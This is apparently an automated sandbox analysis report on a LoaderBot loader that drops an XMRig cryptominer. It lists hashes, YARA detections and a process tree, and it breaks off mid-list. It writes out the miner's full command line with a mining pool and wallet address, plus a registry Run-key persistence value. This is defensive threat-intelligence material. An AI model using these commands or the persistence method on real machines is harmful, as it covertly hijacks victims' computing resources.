loaderbot | 0fa48a6368effe6c9373dd34f9f26bf7f0a2050aab330cefc5acc6de5030ecb6

Analysis

max time kernel
150s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
20/02/2024, 05:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
$1/1337/MinerMega.exe
Size 4.0MB
Sample240220-fxl59acc46
SHA256 5817eb190e2adfb6b1a8488df5e83cda619969a4ea5cccca282a348ef35d09ad
MD5 d1f8ccf271359d1d1840075b3065cdaa
SHA1 5b316201fb5d9705e20398ded7d0441962e2b183
SHA512 5fb53f967b940f76b9c98d09773bea69c6ccbfd2469b9eb64868042f2ee56860d8a000b469ce941a2241adbe261ace43273c9a6cef9821ff6eabeb8f63b81e07
SSDEEP 49152:ENDFFPJu8fBsVE6ij+RNg+UKpBvtqB3m1RC3:SzP88fBsnZTgOtqB3m1RC3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

loaderbot xmrig loader miner persistence

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects executables built or packed with MPress PE compressor 64 IoCs

resource	yara_rule
behavioral5/memory/1212-0-0x00000000011E0000-0x00000000015DE000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-6.dat	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-8.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2944-11-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2944-12-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-13.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1308-17-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1648-22-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-25.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2808-27-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2240-32-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-35.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/892-37-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2096-43-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2896-48-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2896-49-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-52.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1596-56-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1504-61-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2500-65-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/3048-70-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2644-75-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1048-80-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1012-86-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-89.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1916-91-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/900-96-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-99.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/3064-102-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/3064-101-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/860-107-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1260-112-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1748-117-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2768-122-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2520-127-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-130.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2500-131-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2500-132-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1964-137-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-140.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1324-142-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-145.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2180-147-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2260-152-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-155.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2276-157-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1540-162-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1860-167-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/848-172-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1048-177-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1716-183-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2852-189-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-192.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/892-195-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/384-201-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-204.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1816-207-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/1196-213-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-216.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2320-219-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/876-225-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/files/0x0034000000016432-228.dat	INDICATOR_EXE_Packed_MPress
behavioral5/memory/3036-231-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral5/memory/2088-237-0x0000000140000000-0x0000000140B75000-memory.dmp	INDICATOR_EXE_Packed_MPress

LoaderBot executable 2 IoCs

resource	yara_rule
behavioral5/memory/1212-0-0x00000000011E0000-0x00000000015DE000-memory.dmp	loaderbot
behavioral5/memory/1212-9-0x0000000005EA0000-0x0000000006A15000-memory.dmp	loaderbot

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral5/memory/2944-11-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1308-17-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1648-22-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2808-27-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2240-32-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/892-37-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2096-43-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2896-48-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1596-56-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1504-61-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2500-65-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/3048-70-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2644-75-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1048-80-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1012-86-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1916-91-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/900-96-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/3064-102-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/3064-101-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/860-107-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1260-112-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1748-117-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2768-122-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2520-127-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2500-132-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1964-137-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1324-142-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2180-147-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2260-152-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2276-157-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1540-162-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1860-167-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/848-172-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1048-177-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1716-183-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2852-189-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/892-195-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/384-201-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1816-207-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1196-213-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2320-219-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/876-225-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/3036-231-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2088-237-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2848-243-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2876-249-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1992-255-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/944-261-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2184-267-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2908-273-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/1760-279-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2240-285-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/740-291-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2040-297-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2056-303-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2796-309-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/876-315-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2744-321-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2256-327-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2612-333-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2400-339-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/884-345-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/3008-351-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral5/memory/2896-357-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	MinerMega.exe

Executes dropped EXE 64 IoCs

pid	Process
2944	Driver.exe
1308	Driver.exe
1648	Driver.exe
2808	Driver.exe
2240	Driver.exe
892	Driver.exe
2096	Driver.exe
2896	Driver.exe
1596	Driver.exe
1504	Driver.exe
2500	Driver.exe
3048	Driver.exe
2644	Driver.exe
1048	Driver.exe
1012	Driver.exe
1916	Driver.exe
900	Driver.exe
3064	Driver.exe
860	conhost.exe
1260	Driver.exe
1748	Driver.exe
2768	Driver.exe
2520	Driver.exe
2500	Driver.exe
1964	Driver.exe
1324	Driver.exe
2180	Driver.exe
2260	Driver.exe
2276	Driver.exe
1540	Driver.exe
1860	Driver.exe
848	conhost.exe
1048	Driver.exe
1716	Driver.exe
2852	Driver.exe
892	Driver.exe
384	conhost.exe
1816	Driver.exe
1196	Driver.exe
2320	Driver.exe
876	Driver.exe
3036	Driver.exe
2088	Driver.exe
2848	Driver.exe
2876	Driver.exe
1992	Driver.exe
944	Driver.exe
2184	conhost.exe
2908	Driver.exe
1760	Driver.exe
2240	Driver.exe
740	Driver.exe
2040	Driver.exe
2056	conhost.exe
2796	Driver.exe
876	Driver.exe
2744	Driver.exe
2256	Driver.exe
2612	Driver.exe
2400	Driver.exe
884	conhost.exe
3008	Driver.exe
2896	Driver.exe
1644	Driver.exe

Loads dropped DLL 1 IoCs

pid	Process
1212	MinerMega.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2444714103-3190537498-3629098939-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\MinerMega.exe"	MinerMega.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe
1212	MinerMega.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1212	MinerMega.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1212	MinerMega.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1212	MinerMega.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 2944	1212	MinerMega.exe	29
PID 1212 wrote to memory of 2944	1212	MinerMega.exe	29
PID 1212 wrote to memory of 2944	1212	MinerMega.exe	29
PID 1212 wrote to memory of 2944	1212	MinerMega.exe	29
PID 1212 wrote to memory of 1308	1212	MinerMega.exe	32
PID 1212 wrote to memory of 1308	1212	MinerMega.exe	32
PID 1212 wrote to memory of 1308	1212	MinerMega.exe	32
PID 1212 wrote to memory of 1308	1212	MinerMega.exe	32
PID 1212 wrote to memory of 1648	1212	MinerMega.exe	33
PID 1212 wrote to memory of 1648	1212	MinerMega.exe	33
PID 1212 wrote to memory of 1648	1212	MinerMega.exe	33
PID 1212 wrote to memory of 1648	1212	MinerMega.exe	33
PID 1212 wrote to memory of 2808	1212	MinerMega.exe	35
PID 1212 wrote to memory of 2808	1212	MinerMega.exe	35
PID 1212 wrote to memory of 2808	1212	MinerMega.exe	35
PID 1212 wrote to memory of 2808	1212	MinerMega.exe	35
PID 1212 wrote to memory of 2240	1212	MinerMega.exe	37
PID 1212 wrote to memory of 2240	1212	MinerMega.exe	37
PID 1212 wrote to memory of 2240	1212	MinerMega.exe	37
PID 1212 wrote to memory of 2240	1212	MinerMega.exe	37
PID 1212 wrote to memory of 892	1212	MinerMega.exe	102
PID 1212 wrote to memory of 892	1212	MinerMega.exe	102
PID 1212 wrote to memory of 892	1212	MinerMega.exe	102
PID 1212 wrote to memory of 892	1212	MinerMega.exe	102
PID 1212 wrote to memory of 2096	1212	MinerMega.exe	42
PID 1212 wrote to memory of 2096	1212	MinerMega.exe	42
PID 1212 wrote to memory of 2096	1212	MinerMega.exe	42
PID 1212 wrote to memory of 2096	1212	MinerMega.exe	42
PID 1212 wrote to memory of 2896	1212	MinerMega.exe	155
PID 1212 wrote to memory of 2896	1212	MinerMega.exe	155
PID 1212 wrote to memory of 2896	1212	MinerMega.exe	155
PID 1212 wrote to memory of 2896	1212	MinerMega.exe	155
PID 1212 wrote to memory of 1596	1212	MinerMega.exe	46
PID 1212 wrote to memory of 1596	1212	MinerMega.exe	46
PID 1212 wrote to memory of 1596	1212	MinerMega.exe	46
PID 1212 wrote to memory of 1596	1212	MinerMega.exe	46
PID 1212 wrote to memory of 1504	1212	MinerMega.exe	47
PID 1212 wrote to memory of 1504	1212	MinerMega.exe	47
PID 1212 wrote to memory of 1504	1212	MinerMega.exe	47
PID 1212 wrote to memory of 1504	1212	MinerMega.exe	47
PID 1212 wrote to memory of 2500	1212	MinerMega.exe	76
PID 1212 wrote to memory of 2500	1212	MinerMega.exe	76
PID 1212 wrote to memory of 2500	1212	MinerMega.exe	76
PID 1212 wrote to memory of 2500	1212	MinerMega.exe	76
PID 1212 wrote to memory of 3048	1212	MinerMega.exe	51
PID 1212 wrote to memory of 3048	1212	MinerMega.exe	51
PID 1212 wrote to memory of 3048	1212	MinerMega.exe	51
PID 1212 wrote to memory of 3048	1212	MinerMega.exe	51
PID 1212 wrote to memory of 2644	1212	MinerMega.exe	53
PID 1212 wrote to memory of 2644	1212	MinerMega.exe	53
PID 1212 wrote to memory of 2644	1212	MinerMega.exe	53
PID 1212 wrote to memory of 2644	1212	MinerMega.exe	53
PID 1212 wrote to memory of 1048	1212	MinerMega.exe	96
PID 1212 wrote to memory of 1048	1212	MinerMega.exe	96
PID 1212 wrote to memory of 1048	1212	MinerMega.exe	96
PID 1212 wrote to memory of 1048	1212	MinerMega.exe	96
PID 1212 wrote to memory of 1012	1212	MinerMega.exe	57
PID 1212 wrote to memory of 1012	1212	MinerMega.exe	57
PID 1212 wrote to memory of 1012	1212	MinerMega.exe	57
PID 1212 wrote to memory of 1012	1212	MinerMega.exe	57
PID 1212 wrote to memory of 1916	1212	MinerMega.exe	60
PID 1212 wrote to memory of 1916	1212	MinerMega.exe	60
PID 1212 wrote to memory of 1916	1212	MinerMega.exe	60
PID 1212 wrote to memory of 1916	1212	MinerMega.exe	60

C:\Users\Admin\AppData\Local\Temp\$1\1337\MinerMega.exe
"C:\Users\Admin\AppData\Local\Temp\$1\1337\MinerMega.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2944
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1308
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2808
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:892
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2896
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1504
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2500
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:3048
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1048
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
